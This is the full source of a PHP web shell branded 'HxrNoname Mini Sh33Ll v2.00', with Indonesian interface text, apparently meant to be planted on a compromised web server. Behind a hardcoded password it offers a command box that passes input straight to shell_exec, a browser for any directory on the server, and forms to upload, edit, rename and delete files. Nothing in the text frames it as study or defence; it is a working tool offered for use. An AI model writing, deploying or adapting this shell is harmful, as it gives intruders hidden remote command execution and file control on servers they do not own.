<?php
ob_start();
session_start();
define('PASSWORD', 'th3b45t4rd');
// Proses login
if (isset($_POST['password'])) {
if ($_POST['password'] === PASSWORD) {
$_SESSION['authenticated'] = true;
echo '<audio autoplay><source src="https://e.top4top.io/m_3437wq49m0.mp3" type="audio/mpeg"></audio>';
} else {
}
}
// Proses logout
if (isset($_POST['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
// Tampilkan form login jika belum terautentikasi
echo '
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>Hxr Noname Mini Filemanager</title>
<style>
body {
background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
color: #FFFFFF;
height: 100vh;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
font-family: Arial, sans-serif;
}
.login-card {
border-radius: 12px;
padding: 25px;
max-width: 500px;
width: 100%;
text-align: center;
background: radial-gradient(circle, rgba(255,0,0,0.35) 0%, rgba(0,0,0,0.9) 70%);
box-shadow: 0 0 25px rgb(255,255,255);
}
/* === BORDER GAMBAR (WARNA ASLI PUTIH) === */
.login-card img {
width: 100%;
max-width: 420px;
margin: 25px auto;
display: block;
border-radius: 12px;
border: 6px solid #FFFFFF;
box-shadow:
0 0 15px #FFFFFF,
0 0 30px #FFFFFF,
0 0 45px #FFFFFF,
0 0 70px #FFFFFF,
0 0 100px rgb(255, 255, 255);
animation: glowPulse 1.5s infinite alternate;
}
@keyframes glowPulse {
0% {
box-shadow:
0 0 20px #FFFFFF,
0 0 50px #FFFFFF;
}
100% {
box-shadow:
0 0 40px #FFFFFF,
0 0 120px #FFFFFF;
}
}
.notice {
color: #FFFFFF;
font-size: 20px;
text-align: justify;
line-height: 1.6;
margin: 20px 0;
}
.form-group {
margin-bottom: 15px;
}
input[type=password] {
width: 80%;
padding: 17px;
text-align: center;
border-radius: 6px;
border: none;
}
button {
width: 70%;
padding: 17px;
background: #FFFFFC;
text-align: center;
border-radius: 6px;
border: none;
font-weight: bold;
cursor: pointer;
}
footer {
margin-top: 30px;
color: #0FF;
font-size: 13px;
}
</style>
</head>
<body>
<div class="login-card">
<img src="https://e.top4top.io/p_36919teqs0.jpg" alt="Banner Image"
</div>
<form method="post">
<div class="form-group">
<label> </label><br><br>
<input type="password" name="password" placeholder="password" required>
</div>
<button type="submit">Warning Cyber Crime!</button>
</form>
<footer>
<h1>𝗛𝘅𝗿𝗡𝗼𝗻𝗮𝗺𝗲 𝗖𝘆𝗯𝗲𝗿 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆<h1>
</footer>
</div>';
exit;
}
?>
<?php
// Tangani direktori saat ini lewat parameter get "dir"
if (isset($_GET['dir'])) {
$dir = realpath($_GET['dir']);
if ($dir === false || !is_dir($dir)) {
$dir = realpath(__DIR__);
}
} else {
$dir = realpath(__DIR__);
}
$message = '';
function safeName($name) {
return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name);
}
// --- Terminal Shell ---
$terminalOutput = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$cmd = $_POST['cmd'];
// Eksekusi perintah shell
$terminalOutput = shell_exec($cmd . ' 2>&1');
}
// CREATE FOLDER
if (isset($_POST['newfolder']) && trim($_POST['newfolder']) !== '') {
$folderName = safeName(trim($_POST['newfolder']));
if ($folderName && !file_exists("$dir/$folderName")) {
if (@mkdir("$dir/$folderName")) {
$message = "Folder '$folderName' berhasil dibuat.";
} else {
$message = "Gagal membuat folder '$folderName'.";
}
} else {
$message = "Nama folder tidak valid atau sudah ada.";
}
}
// CREATE FILE
if (isset($_POST['newfile']) && trim($_POST['newfile']) !== '') {
$fileName = safeName(trim($_POST['newfile']));
$filePath = "$dir/$fileName";
if ($fileName && !file_exists($filePath)) {
if (file_put_contents($filePath, "") !== false) {
$message = "File '$fileName' berhasil dibuat.";
} else {
$message = "Gagal membuat file '$fileName'.";
}
} else {
$message = "Nama file tidak valid atau sudah ada.";
}
}
// DELETE FILE/FOLDER
if (isset($_GET['delete'])) {
$deleteName = safeName($_GET['delete']);
$deletePath = "$dir/$deleteName";
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
if (@rmdir($deletePath)) {
$message = "Folder '$deleteName' berhasil dihapus.";
} else {
$message = "Folder '$deleteName' tidak kosong atau gagal dihapus.";
}
} else {
if (@unlink($deletePath)) {
$message = "File '$deleteName' berhasil dihapus.";
} else {
$message = "Gagal menghapus file '$deleteName'.";
}
}
} else {
$message = "File/folder tidak ditemukan.";
}
}
// RENAME FILE/FOLDER
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$oldName = safeName($_POST['rename_old']);
$newName = safeName($_POST['rename_new']);
$oldPath = "$dir/$oldName";
$newPath = "$dir/$newName";
if ($oldName && $newName && file_exists($oldPath) && !file_exists($newPath)) {
if (@rename($oldPath, $newPath)) {
$message = "Berhasil rename '$oldName' menjadi '$newName'.";
} else {
$message = "Gagal rename.";
}
} else {
$message = "Nama baru sudah ada, tidak valid, atau file lama tidak ditemukan.";
}
}
// EDIT FILE - Simpan perubahan
if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
$editFile = safeName($_POST['edit_file']);
$editPath = "$dir/$editFile";
if (file_exists($editPath) && is_file($editPath)) {
if (file_put_contents($editPath, $_POST['edit_content']) !== false) {
$message = "File '$editFile' berhasil disimpan.";
} else {
$message = "Gagal menyimpan file.";
}
} else {
$message = "File tidak ditemukan.";
}
}
// UPLOAD FILE
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$uploadName = basename($_FILES['upload_file']['name']);
$uploadName = safeName($uploadName);
$uploadPath = "$dir/$uploadName";
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) {
$message = "File '$uploadName' berhasil diupload ke folder saat ini.";
} else {
$message = "Gagal upload file.";
}
}
// Jika ingin edit, ambil isi file dulu
$editFile = null;
$editContent = '';
if (isset($_GET['edit'])) {
$editFile = safeName($_GET['edit']);
$editPath = "$dir/$editFile";
if (file_exists($editPath) && is_file($editPath)) {
$editContent = file_get_contents($editPath);
} else {
$editFile = null;
$message = "File untuk diedit tidak ditemukan.";
}
}
$files = scandir($dir);
$parentDir = dirname($dir);
// Fungsi buat breadcrumb
function makeBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$path = '';
$breadcrumbs = [];
if (DIRECTORY_SEPARATOR === '\\') {
$drive = array_shift($parts);
$path = $drive . DIRECTORY_SEPARATOR;
$breadcrumbs[] = ['name' => $drive, 'path' => $path];
} else {
$breadcrumbs[] = ['name' => '/', 'path' => DIRECTORY_SEPARATOR];
}
foreach ($parts as $part) {
if ($part === '') continue;
$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $part;
$breadcrumbs[] = ['name' => $part, 'path' => $path];
}
return $breadcrumbs;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8" />
<title>HxrNoname Mini V2.00</title>
<style>
body {
margin: auto;
background: #808080;
color: #0ff;
font-family: monospace;
padding: 2rem;
max-width: 900px;
margin: auto; 100%
}
h3 {
color: #fffff;
text-align: center;
}
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 1rem;
}
th, td {
border: 1px solid #fffff;
padding: 6px 10px;
text-align: left;
}
th {
background: #000000;
}
tr:nth-child(even) {
background: #fffff;
}
a {
color: #0ff;
text-decoration: #;
}
a:hover {
text-decoration: underline;
}
form {
margin-bottom: 1rem;
display: flex;
gap: 1rem;
}
input[type=text], textarea {
background: #fffff;
border: 1px solid #background:linear-gradient(45deg, #00fff7, #ff00d4); color:#000; font-weight:bold; padding:0.4rem 0.8rem; border:none; border-radius:4px;
color: #000000;
padding: 0.5rem 1rem;
border-radius: 8px;
outline: none;
font-family: monospace;
}
input[type=text] {
flex-grow: 1px;
}
button {
background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
padding: 0.6rem 1.2rem;
border-radius: 8px;
color: #0ff;
font-weight: bold;
padding: 1rem 1rem;
border-radius: 8px;
cursor: pointer;
}
textarea {
width: 100%;
height: 300px;
resize: vertical;
}
.msg {
margin-bottom: 1rem;
color: #0ff;
}
.actions form {
display: inline-block;
margin: 0;
}
form.upload-form {
margin-bottom: 1.5rem;
display: flex;
align-items: center;
gap: 1rem;
}
form.upload-form label[for="upload_file"] {
background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
padding: 0.6rem 1.2rem;
border-radius: 8px;
color: #0ff;
font-weight: bold;
cursor: pointer;
user-select: none;
}
form.upload-form input[type="file"] {
display: none;
}
form.upload-form #file_name {
color: #0ff;
font-style: italic;
min-width: 200px;
}
nav.breadcrumb {
margin-bottom: 1.5rem;
font-size: 1rem;
}
nav.breadcrumb a {
color: #0ff;
text-decoration: none;
margin-right: 1,5rem;
}
nav.breadcrumb a:hover {
text-decoration: underline;
}
nav.breadcrumb span.separator {
margin-right: 1,5rem;
color: #ffffff;
}
.terminal-box {
margin: 2rem; 0
background: #fffff;
padding: 1,rem;
border: 1px solid #fffff;
border-radius: 8px;
}
.terminal-output {
color: #0ff;
background: #000000;
padding: 1 rem;
border-radius: 4px;
overflow-x: auto;
white-space: pre-wrap;
margin-top: 0 rem;
}
</style>
</head>
<body>
<center><img src="https://a.top4top.io/p_369257s6z0.png"
<title><h1>"HxNoname Mini v2.00"</h1>
<?php if($message): ?>
<div class="msg"><?= htmlspecialchars($message) ?></div>
<?php endif; ?>
<!-- Breadcrumb direktori -->
<nav class="breadcrumb">
<?php
$breadcrumbs = makeBreadcrumb($dir);
$lastIndex = count($breadcrumbs) - 1;
foreach ($breadcrumbs as $i => $crumb) {
if ($i !== $lastIndex) {
echo '<a href="?dir=' . urlencode($crumb['path']) . '">' . htmlspecialchars($crumb['name']) . '</a><span class="separator">/</span>';
} else {
echo '<span>' . htmlspecialchars($crumb['name']) . '</span>';
}
}
?>
</nav>
<?php if (!$editFile): ?>
<!-- Terminal Shell -->
<div class="terminal-box">
<form method="post" style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<span style="color:#0ff;">user@shell:</span>
<span style="color:#00fff7;"><?php echo htmlspecialchars(basename($dir)); ?>$</span>
<input type="text" name="cmd" placeholder="Masukkan perintah (misal: ls -la, whoami, pwd)..." style="background:#000; color:#0ff; border:1px solid #00fff7; flex-grow:1; padding:0.4rem;" autocomplete="off" />
<button type="submit" style="background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%) font-weight:bold; padding:0.4rem 0.8rem; border:none; border-radius:4px;">Jalankan</button>
</form>
<?php if ($terminalOutput !== ''): ?>
<pre class="terminal-output"><?= htmlspecialchars($terminalOutput) ?></pre>
<?php endif; ?>
</div>
<?php endif; ?>
<?php if ($editFile): ?>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>" />
<textarea name="edit_content"><?= htmlspecialchars($editContent) ?></textarea>
<button type="submit">Simpan File</button>
<a href="<?= $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) ?>" style="color:#ff00d4; margin-left: 1rem;">Batal</a>
</form>
<?php else: ?>
<form method="post" style="margin-bottom:1rem;">
<input type="text" name="newfolder" placeholder="Nama folder baru..." autocomplete="off" />
<button type="submit">Buat Folder</button>
</form>
<form method="post" style="margin-bottom:1.5rem;">
<input type="text" name="newfile" placeholder="Nama file baru..." autocomplete="off" />
<button type="submit">Buat File</button>
</form>
<!-- Upload File -->
<form method="post" enctype="multipart/form-data" class="upload-form">
<label for="upload_file">Pilih File</label>
<input type="file" name="upload_file" id="upload_file" required />
<span id="file_name">Belum ada file dipilih</span>
<button type="submit">Upload File</button>
</form>
<table>
<thead>
<tr>
<th>Nama</th>
<th>Tipe</th>
<th>Ukuran (Bytes)</th>
<th>Aksi</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): ?>
<?php if ($file === '.') continue; ?>
<tr>
<td>
<?php if (is_dir("$dir/$file")): ?>
<a href="?dir=<?= urlencode(realpath("$dir/$file")) ?>"><?= htmlspecialchars($file) ?></a>
<?php else: ?>
<?= htmlspecialchars($file) ?>
<?php endif; ?>
</td>
<td><?= is_dir("$dir/$file") ? '<b>Folder</b>' : 'File' ?></td>
<td><?= is_file("$dir/$file") ? filesize("$dir/$file") : '-' ?></td>
<td class="actions" style="white-space: nowrap;">
<?php if ($file !== '..'): ?>
<?php if (!is_dir("$dir/$file")): ?>
<a href="?edit=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>">Edit</a> |
<?php else: ?>
-
<?php endif; ?>
<a href="?delete=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>" onclick="return confirm('Yakin ingin hapus <?= htmlspecialchars($file) ?>?')">Delete</a> |
<form method="post" style="display:inline;">
<input type="hidden" name="rename_old" value="<?= htmlspecialchars($file) ?>" />
<input type="text" name="rename_new" placeholder="Nama baru" required style="width: 120px;" />
<button type="submit" title="Rename">Rename</button>
</form>
<?php else: ?>
-
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<footer style="text-align:center; color:#0ff; margin-top:3rem;">
HxrNoname Mini Sh33Ll v2.00 ~ Art Of Magic Physic
</footer>
<script>
const inputFile = document.getElementById('upload_file');
const fileNameSpan = document.getElementById('file_name');
inputFile.addEventListener('change', () => {
if (inputFile.files.length > 0) {
fileNameSpan.textContent = inputFile.files[0].name;
} else {
fileNameSpan.textContent = 'Belum ada file dipilih';
}
});
</script>
</body>
</html>